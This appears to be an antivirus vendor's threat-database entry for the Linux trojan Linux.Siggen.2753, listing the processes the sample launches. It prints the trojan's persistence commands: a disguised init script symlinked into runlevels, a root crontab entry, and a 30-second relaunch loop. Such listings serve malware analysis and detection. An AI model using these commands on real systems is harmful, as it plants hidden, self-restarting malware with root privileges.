Linux.Siggen.2753

Linux.Siggen.2753

Added to the Dr.Web virus database: 2020-04-28

Virus description added: 2020-04-27

To ensure autorun and distribution:

Creates or modifies the following files:

Creates or modifies the following symlinks:

Malicious functions:

Replaces the following system files:

Launches processes:

<SAMPLE_FULL_PATH>
/bin/bash -c echo \"#!/bin/sh\" > /etc/profile.d/linux.sh
top -b -n 1 -d 1
/bin/bash -c
/bin/bash -c echo -e \"#!/bin/sh\nwhile [ 1 ]; do\nsleep 30\n/etc/id.services.conf\ndone\n\" > /etc/32679
/bin/bash -c echo -e \"#!/bin/sh\n BEGIN INIT INFO\n#chkconfig: 2345 10 90\n#description:System.img.config\n# Default-Start: 2 3 4 5\n# Default-Stop: \n END INIT INFO\n/boot/System.img.config\nexit 0\" > /etc/init.d/linux_kill;chmod +x /etc/init.d/linux_kill
/bin/bash -c echo -e \"#!/bin/sh\n/usr/lib/libdlrpcld.so\" > /.img
/bin/bash -c chmod 0755 /etc/32679
chmod +x /etc/init.d/linux_kill
/bin/bash -c echo \"* * * * * root /.img \" >> /etc/crontab
/bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc0.d/linux_kill
chmod 0755 /etc/32679
/etc/32679
ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc0.d/linux_kill
/bin/bash -c chmod 0755 /.img
sleep 30
/bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc0.d/linux_kill
chmod 0755 /.img
ln -s /etc/init.d/linux_kill /etc/rc0.d/linux_kill
/bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc1.d/linux_kill
ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc1.d/linux_kill
/bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc1.d/linux_kill

Performs operations with the file system:

Modifies file access rights:

Creates folders:

Creates or modifies files:

Locks files:

Network activity:

Establishes connection:

DNS ASK:

Other:

Collects CPU information

Collects RAM information

Collects information about network activity